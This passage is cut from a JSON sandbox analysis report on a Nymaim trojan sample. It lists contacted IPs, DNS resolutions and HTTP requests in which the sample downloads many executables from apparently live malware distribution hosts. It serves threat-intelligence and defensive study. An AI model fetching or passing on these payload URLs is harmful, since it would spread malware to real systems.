32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"UDS:Trojan.MSIL.Nymaim","contacted_countries":["BGR","CHN","RUS","SAU","USA","ZAF"],"submit_name":"New Text Document mod.exse","analysis_start_time":"2023-12-20T14:37:42+00:00","indicators_count":{"informative":261,"suspicious":87,"malicious":26},"tags":["Multi-Process","Network Traffic","Extracted Files","User Comment"],"is_in_unified_schema":true},{"id":"6582fb6b0e327a9aae078e41","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"UDS:Trojan.MSIL.Nymaim","contacted_countries":["BGR","CHN","GBR","NLD","RUS","USA","ZAF"],"submit_name":"New Text Document mod.exse","analysis_start_time":"2023-12-20T14:54:19+00:00","indicators_count":{"informative":261,"suspicious":107,"malicious":29},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed","User Comment"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"151.101.194.49","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"178.16.54.200","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"221.14.182.99","port":54002,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"199.188.205.20","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"188.127.225.100","port":443,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"176.122.27.90","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"176.122.27.90","port":9909,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"196.251.115.22","port":80,"protocol":"TCP","country":"Seychelles","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"176.122.27.90","port":8888,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"104.20.7.182","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"194.180.49.148","port":8900,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"104.20.7.182","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"139.199.157.76","port":8000,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"185.208.159.182","port":80,"protocol":"TCP","country":"Bulgaria","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"67.222.44.169","port":8000,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"176.46.158.64","port":80,"protocol":"TCP","country":"Iran (ISLAMIC Republic Of)","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"185.208.159.182","port":4782,"protocol":"TCP","country":"Bulgaria","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"62.60.226.16","port":5553,"protocol":"TCP","country":"Iran (ISLAMIC Republic Of)","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"172.245.27.131","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"213.142.159.116","port":80,"protocol":"TCP","country":"Turkey","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"94.154.172.199","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"178.16.55.189","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"149.154.167.99","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"172.245.27.131","port":6000,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"213.142.159.116","port":1604,"protocol":"TCP","country":"Turkey","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"178.16.53.7","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"address":"151.101.2.49","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"172.67.195.16","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"address":"185.172.128.19","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"91.92.253.29","port":80,"protocol":"TCP","country":"Bulgaria","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"198.46.178.135","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"192.30.255.113","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"185.199.108.133","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"address":"104.21.42.224","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"82.156.94.17","port":443,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"38.47.221.193","port":34368,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"address":"185.38.151.11","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"address":"64.185.227.156","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"address":"162.241.217.120","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"address":"172.67.195.16","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"address":"172.67.166.168","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"address":"164.155.231.101","port":16,"protocol":"TCP","country":"South Africa","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"217.196.98.10","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"77.91.124.172","port":3350,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"5.172.176.24","port":443,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"address":"104.21.46.59","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"193.233.132.51","port":50500,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"34.117.186.192","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"address":"104.21.52.41","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"172.67.195.247","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"93.112.218.34","port":80,"protocol":"TCP","country":"Saudi Arabia","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"23.62.46.202","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"172.67.171.152","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"104.21.16.60","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"104.21.65.24","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"104.21.46.59","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"172.217.12.99","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"142.250.191.67","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"172.67.168.30","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"172.67.207.100","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"172.67.166.192","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"104.192.141.1","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"109.107.182.3","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"address":"5.42.65.125","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]}],"dns_resolutions":[{"domain":"cwwgg-p5wdxtar.com","address":"94.154.172.199","ttl":3767,"country":"Germany","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"domain":"dl2.tlauncher.org","address":"104.20.7.182","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"domain":"silverfox.com","address":"67.222.44.169","ttl":14400,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"domain":"t-launcher.site","address":"188.127.225.100","ttl":3600,"country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"domain":"telegram.me","address":"149.154.167.99","ttl":3,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"domain":"uploadsfre.com","address":"199.188.205.20","ttl":14400,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"domain":"urlhaus.abuse.ch","address":"151.101.194.49","ttl":2641,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"132xz-1319111867.cos.ap-beijing.myqcloud.com","address":"82.156.94.17","ttl":60,"country":"China","registrar_name":"HICHINA ZHICHENG TECHNOLOGY LTD.","registrar_organization":"Shenzhen Tencent Computer Systems Company Limited","registrar_name_servers":"NS-OPEN1.QQ.COM","registrar_creation_date":"2013-04-24T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"api.ipify.org","address":"64.185.227.156","ttl":300,"country":"United States","registrar_name":"eNom, Inc.","registrar_name_servers":"NS1.DNSIMPLE.COM","registrar_creation_date":"2014-01-05T22:02:15+00:00","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"domain":"carthagefire.net","address":"5.172.176.24","ttl":14400,"country":"Russian Federation","registrar_name":"TUCOWS, INC.","registrar_organization":"REDACTED FOR PRIVACY","registrar_name_servers":"NS3.HOSTEK.COM","registrar_creation_date":"2010-01-23T03:33:31+00:00","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"domain":"china.dhabigroup.top","address":"172.67.195.16","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"comediantes.org","address":"162.241.217.120","ttl":14400,"country":"United States","registrar_name":"FastDomain Inc.","registrar_organization":"Bulletin of the Comediantes","registrar_name_servers":"ns1.bluehost.com","registrar_creation_date":"2008-02-22T15:18:17+00:00","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"domain":"edarululoom.com","address":"104.21.42.224","ttl":300,"country":"United States","registrar_name":"NAMECHEAP INC","registrar_name_servers":"GUY.NS.CLOUDFLARE.COM","registrar_creation_date":"2019-01-22T17:20:58+00:00","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"fresh1.ironoreprod.top","address":"172.67.166.168","ttl":300,"country":"United States","registrar_name":"NameSilo, LLC","registrar_organization":"PrivacyGuardian.org llc","registrar_name_servers":"sage.ns.cloudflare.com","registrar_creation_date":"2023-08-28T18:46:30+00:00","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"github.com","address":"192.30.255.113","ttl":60,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"GitHub, Inc.","registrar_name_servers":"NS-1283.AWSDNS-32.ORG","registrar_creation_date":"2007-10-09T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"objects.githubusercontent.com","address":"185.199.108.133","ttl":2065,"country":"Netherlands","registrar_name":"MarkMonitor, Inc.","registrar_organization":"GitHub, Inc.","registrar_name_servers":"NS-1411.AWSDNS-48.ORG","registrar_creation_date":"2014-02-06T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"domain":"spf-asia.com","address":"185.38.151.11","ttl":14400,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"domain":"stoon.hitsturbo.com","address":"104.21.46.59","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"api.2ip.ua","address":"104.21.65.24","ttl":300,"country":"United States","registrar_name":"ua.101domain","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"bitbucket.org","address":"104.192.141.1","ttl":60,"country":"United States","registrar_name":"eNom, Inc.","registrar_organization":"Atlassian","registrar_name_servers":"NS-1305.AWSDNS-35.ORG","registrar_creation_date":"1997-11-24T05:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"brusuax.com","address":"93.112.218.34","ttl":150,"country":"Saudi Arabia","registrar_name":"WEBCC","registrar_organization":"Whoisprotection.cc","registrar_name_servers":"NS1.SUMMARYSET.ORG","registrar_creation_date":"2023-03-01T11:43:37+00:00","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"crl.pki.goog","address":"142.250.191.67","ttl":45,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"crudeleavelegendew.fun","address":"172.67.207.100","ttl":300,"country":"United States","registrar_name":"PDR Ltd. d/b/a PublicDomainRegistry.com","registrar_organization":"Mihail Kimko","registrar_name_servers":"ALDO.NS.CLOUDFLARE.COM","registrar_creation_date":"2023-12-11T19:16:48+00:00","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"domen414.com","address":"172.67.166.192","ttl":4,"country":"United States","registrar_name":"NameSilo, LLC","registrar_organization":"PrivacyGuardian.org llc","registrar_name_servers":"MINA.NS.CLOUDFLARE.COM","registrar_creation_date":"2023-09-15T12:57:59+00:00","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"mrproper.org","address":"172.67.171.152","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"needs.hitsturbo.com","address":"104.21.46.59","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"ocsp.pki.goog","address":"172.217.12.99","ttl":290,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"tmpfiles.org","address":"172.67.195.247","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"domain":"zexeq.com","address":"93.112.218.34","ttl":32,"country":"Saudi Arabia","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]}],"http_requests":[{"host":"urlhaus.abuse.ch","host_ip":"151.101.194.49:443","url":"/downloads/text_online/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /downloads/text_online/ HTTP/1.1\nHost: urlhaus.abuse.ch\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/814870813/8aCq1Rp.exe","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /files/814870813/8aCq1Rp.exe HTTP/1.1\nHost: 178.16.54.200\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/6041505593/g67DNdL.exe","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /files/6041505593/g67DNdL.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/814870813/i81fwxp.exe","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /files/814870813/i81fwxp.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"uploadsfre.com","host_ip":"199.188.205.20:443","url":"/cooking.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /cooking.exe HTTP/1.1\nHost: uploadsfre.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/7453936223/lJ5IwxN.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/7453936223/lJ5IwxN.exe HTTP/1.1\nHost: 178.16.54.200\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"176.122.27.90","host_ip":"176.122.27.90:80","url":"/http.server/elf.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /http.server/elf.exe HTTP/1.1\nHost: 176.122.27.90\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"176.122.27.90","host_ip":"176.122.27.90:80","url":"/http.server/sys.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /http.server/sys.exe HTTP/1.1\nHost: 176.122.27.90\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"176.122.27.90","host_ip":"176.122.27.90:80","url":"/http.server/sup.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /http.server/sup.exe HTTP/1.1\nHost: 176.122.27.90\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"176.122.27.90","host_ip":"176.122.27.90:80","url":"/http.server/tmp.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /http.server/tmp.exe HTTP/1.1\nHost: 176.122.27.90\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"196.251.115.22","host_ip":"196.251.115.22:80","url":"/crypted_guardfile.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /crypted_guardfile.exe HTTP/1.1\nHost: 196.251.115.22\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/unique5/random.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/unique5/random.exe HTTP/1.1\nHost: 178.16.54.200\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"dl2.tlauncher.org","host_ip":"104.20.7.182:80","url":"/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET / HTTP/1.1\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Setup Factory 10.0\nHost: dl2.tlauncher.org\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"194.180.49.148:8900","host_ip":"194.180.49.148:8900","url":"/rabert.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /rabert.exe HTTP/1.1\nHost: 194.180.49.148:8900\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"139.199.157.76:8000","host_ip":"139.199.157.76:8000","url":"/docx.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /docx.exe HTTP/1.1\nHost: 139.199.157.76:8000\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"dl2.tlauncher.org","host_ip":"104.20.7.182:443","url":"/check_latest_tl.php?optime=0","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /check_latest_tl.php?optime=0 HTTP/1.1\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Setup Factory 10.0\nHost: dl2.tlauncher.org\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"139.199.157.76:8000","host_ip":"139.199.157.76:8000","url":"/window.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /window.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"139.199.157.76:8000","host_ip":"139.199.157.76:8000","url":"/windows.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /windows.exe HTTP/1.1\nHost: 139.199.157.76:8000\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"139.199.157.76:8000","host_ip":"139.199.157.76:8000","url":"/meitu.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /meitu.exe HTTP/1.1\nHost: 139.199.157.76:8000\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"185.208.159.182","host_ip":"185.208.159.182:80","url":"/d/server.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /d/server.exe HTTP/1.1\nHost: 185.208.159.182\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/7782139129/GL0ygTD.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/7782139129/GL0ygTD.exe HTTP/1.1\nHost: 178.16.54.200\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"178.16.54.200","host_ip":"178.16.54.200:80","url":"/files/8434554557/06bK6nU.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/8434554557/06bK6nU.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"62.60.226.16:5553","host_ip":"62.60.226.16:5553","url":"/dva.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /dva.exe HTTP/1.1\nHost: 62.60.226.16:5553\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"172.245.27.131","host_ip":"172.245.27.131:80","url":"/x.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /x.exe HTTP/1.1\nHost: 172.245.27.131\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"172.245.27.131","host_ip":"172.245.27.131:80","url":"/xtest.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /xtest.exe HTTP/1.1\nHost: 172.245.27.131\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"172.245.27.131","host_ip":"172.245.27.131:80","url":"/xeno.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /xeno.exe HTTP/1.1\nHost: 172.245.27.131\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"213.142.159.116","host_ip":"213.142.159.116:80","url":"/Client-built.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /Client-built.exe HTTP/1.1\nHost: 213.142.159.116\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"178.16.55.189","host_ip":"178.16.55.189:80","url":"/files/6608710704/HCBSXXl.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/6608710704/HCBSXXl.exe HTTP/1.1\nHost: 178.16.55.189\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"telegram.me","host_ip":"149.154.167.99:443","url":"/k0ddr","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /k0ddr HTTP/1.1\nHost: telegram.me\nCache-Control: no-cache\nPragma: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"178.16.55.189","host_ip":"178.16.55.189:80","url":"/files/5561582465/fz0oKy4.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/5561582465/fz0oKy4.exe HTTP/1.1\nHost: 178.16.55.189\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"178.16.55.189","host_ip":"178.16.55.189:80","url":"/files/5851730241/fzCgCtE.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/5851730241/fzCgCtE.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"host":"china.dhabigroup.top","host_ip":"172.67.195.16:80","url":"/_errorpages/spfasiazx.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /_errorpages/spfasiazx.exe HTTP/1.1\nHost: china.dhabigroup.top\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"host":"185.172.128.19","host_ip":"185.172.128.19:80","url":"/build3.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /build3.exe HTTP/1.1\nHost: 185.172.128.19\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"host":"91.92.253.29","host_ip":"91.92.253.29:80","url":"/alex.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /alex.exe HTTP/1.1\nHost: 91.92.253.29\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"host":"198.46.178.135","host_ip":"198.46.178.135:80","url":"/2545/wlanext.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /2545/wlanext.exe HTTP/1.1\nHost: 198.46.178.135\nConnection: 